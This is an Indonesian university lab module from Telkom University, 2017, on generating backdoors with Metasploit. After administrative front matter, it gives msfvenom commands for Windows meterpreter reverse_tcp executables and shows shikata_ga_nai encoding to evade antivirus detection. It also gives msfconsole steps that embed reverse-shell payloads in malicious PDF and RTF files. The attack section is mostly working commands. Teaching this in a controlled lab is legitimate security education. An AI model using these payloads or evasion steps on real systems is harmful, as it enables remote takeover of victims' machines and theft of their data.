Modul Praktikum Keamanan Sistem

Transkripsi

1 2017 Modul Praktikum Keamanan Sistem LABORATORIUM SECURITY SYSTEM KK KEAMANAN SISTEM FAKULTAS TEKNIK ELEKTRO Hanya dipergunakan di lingkungan Fakultas Teknik Elektro UNIVERSITAS TELKOM

2 DAFTAR PENYUSUN Yudha Purwanto,S.T.,M.T. Surya MIchrandi Nasution,S.T.,M.T. Dll

3 LEMBAR PERNYATAAN Yang bertanda tangan dibawah ini : Nama : Surya Michrandi Nasution,S.T.,M.T. NIK : Jabatan : Dosen Pembina Laboratorium Security System Menerangkan dengan sesungguhnya bahwa modul praktikum ini telah direview dan akan digunakan untuk pelaksanaan praktikum di Semester 5 Tahun Akademik 2017/2018 di Laboratorium Security System Fakultas Teknik Elektro Universitas Telkom Bandung, 17 Agustus 2017 Mengetahui, Ketua Kelompok Keahlian Dosen Pembina Lab Security System Yudha Purwanto,S.T.,M.T. NIK Surya Michrandi Nasution,S.T.,M.T. NIK

4 Visi & Misi Fakultas Teknik Elektro VISI: Menjadi fakultas unggul berkelas dunia yang berperan aktif pada pengembangan ilmu pengetahuan dan teknologi elektro serta fisika, berbasis teknologi informasi dan komunikasi. MISI: 1. Menyelenggarakan pendidikan tinggi dan pendidikan berkelanjutan berstandar internasional 2. Mengembangkan, menyebarluaskan, dan memanfaatkan ilmu pengetahuan dan teknologi bidang teknik telekomunikasi, teknik komputer, fisika teknik, dan elektroteknik, serta bekerja sama dengan industri/institusi, guna meningkatkan kesejahteraan dan kemajuan masyarakat. 3. Mengembangkan dan membina jejaring dengan perguruan tinggi dan industri terkemuka dalam dan luar negeri dalam rangka kerjasama pendidikan dan penelitian. 4. Mengembangkan sumberdaya untuk mencapai keunggulan dalam pembelajaran, penelitian dan pengabdian kepada masyarakat.

5 Visi & Misi Fakultas Teknik Elektro VISI: Menjadi program studi berstandar internasional dan menghasilkan sarjana berkeahlian Sistem Elektronika, Sistem Kendali, atau Teknik Biomedika MISI: 1. Menyelenggarakan pendidikan berstandar internasional untuk menghasilkan lulusan yang menguasai ilmu pengetahuan dan teknologi Sistem Elektronika, Sistem Kendali, atau Teknik Biomedika; 2. Mengembangkan dan menyebarluaskan ilmu pengetahuan dan teknologi Sistem Elektronika, Sistem Kendali, dan Teknik Biomedika yang diakui secara internasional dengan melibatkan mahasiswa secara aktif; 3. Memanfaatkan ilmu pengetahuan dan teknologi Sistem Elektronika, Sistem Kendali, dan Teknik Biomedika untuk kesejahteraan dan kemajuan peradaban bangsa.

6 ATURAN LABORATORIUM FAKULTAS TEKNIK ELEKTRO TELKOM UNIVERSITY Setiap Mahasiswa Fakultas Teknik Elektro yang akan menggunakan Fasilitas Laboratorium, WAJIB mematuhi Aturan sebagai berikut : 1. Menggunakan seragam resmi Telkom University, dan Membawa Kartu Tanda Mahasiswa (KTM) yang masih berlaku. 2. Tidak berambut gondrong untuk mahasiswa 3. Dilarang merokok dan makan minum didalam ruangan, dan membuang sampah pada tempatnya 4. Dilarang menyimpan barang-barang milik pribadi di Laboratorium tanpa seijin Fakultas 5. Dilarang menginap di Laboratorium tanpa seijin Fakultas 6. Jam Kerja Laboratorium dan Ruang Riset adalah WIB sampai WIB 7. Mahasiswa yang akan menggunakan Laboratorium dan atau ruang riset diluar jam kerja, harus mengajukan ijin kepada Fakultas Dekan Fakultas Teknik Elektro Bandung,.. Juli 2014 Dr. Rina Pudjiastuti, Ir., MT.

7 Modul 6 BACKDOOR GENERATOR Tujuan Setelah mengikuti praktikum ini mahasiswa diharapkan dapat: 1. Mahasiswa memahi konsep pembuatan backdoor 2. Mahasiswa mengenali dan mengidentifikasi jenis jenis backdoor Alat & Bahan 1. VirtualBox, VMware 2. OS Pentest (Kali Linux, Backbox, BlackBuntu dll) 3. Windows xp 4. Ms.Word Dasar Teori Metasploit Framework adalah sebuah sekumpulan tools yang telah digabung yang berisikan tools untuk exploitasi, seiring perkembangan dunia security metasploit framework mengembangkan beberapa fitur seperti (msfvenom, msfelscan, msfencode), fitur tersebut digunakan untuk melengkapi metasploit framework, berikut adalah penjelasan dari fitur-fitur metasploit : Msfvenom adalah fitur metasploit yang menggabungkan dua fungsi lama pada Metasploit yaitu Msfpayload untuk menggenerate payload dan Msfcencode untuk melakukakan encdoding Msfencode adalah fitur metasploit framework yang berfungsi untuk melakukan encoding pada payload yang telah dibuat, fungsi dari encoding adalah melakukan encrypsi pada payload sehingga semakin sulit untuk terdeteksi oleh antivirus. Auxilary Auxiliary sendiri adalah sekumpulan tools tambahan yang dijadikan pelengkap di metasploit framework, baik berupa tools cracking, scaning, dan spoofing semua ada pada auxiliary

8 MSFVENOM 1. Membuat backdoor dengan format exe (windows exeutable) Contoh eksekusi : Msfvenom -p <payload> Untuk melihat type payload ketikan show payloads pada metasploit framework: Sebagai contoh kita akan menggunakan payload windows/meterpreter/reverse_tcp : Contoh perintah : msfvenom -p windows/meterpreter/reverse_tcp -f exe > namafile.exe (untuk nama menyesuaikan) Catatan : -f (format) : adalah format file yang akan kita buat dalam contoh diatas kita akan membuat backdoor dengan format exe (windows exeutable)

9 2. Menambahkan alamat IP addres pada backdoor Contoh : Msfvenom -p <payload> LHOST=<alamat IP> LPORT=<alamat port> -f exe >> namafile.exe Msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f exe > backdoor.exe Catatan : LHOST= adalah alamat IP addres kita LPORT = alamat port yang akan kita gunakan (bebas) Dalam kasus ini kita akan melakukan deteksi pada backdoor yang kitabuat dengan menggunkan layanan online yaitu Terlihat bahwa backdoor yang kitabuat terdeteksi virus oleh 38 dari 58 antivirus

10 3. Menambahkan Encoder pada backdoor Untuk melihat jenis encoder ketika show encoders pada metasploit framework Kita akan menggunakan encoders x86/shikata_ga_nai Contoh: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -f exe > backdoor.exe

11 Terlihat bahwa backdoor yang menggunakan encoder lebih sedikit antivirus yang menganggapnya virus 4. Membuat backdoor dengan format pdf Teknik ini dinamakan file format exploitation yaitu dengan cara mengijeksi kan backdoor pada pdf (potable document format), pada contoh kasus ini kita akan menggunakan msfconsole Ketikan msfconsole

12 #use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs #set payload windows/meterpreter/reverse_tcp #set filename PraktikumSeculab.pdf #set LHOST #set LPORT 443 #exploit Catatan : Filename merupakan nama dari backdoor yang akan kita buat 5. Membuat backdoor dengan format docx (document windows) # use exploit/windows/fileformat/ms10_038_excel_obj_bof #set payload windows/meterpreter/reverse_tcp #set LHOST

13 #set LPORT 443 #set FILENAME praktikumseculab.rtf #exploit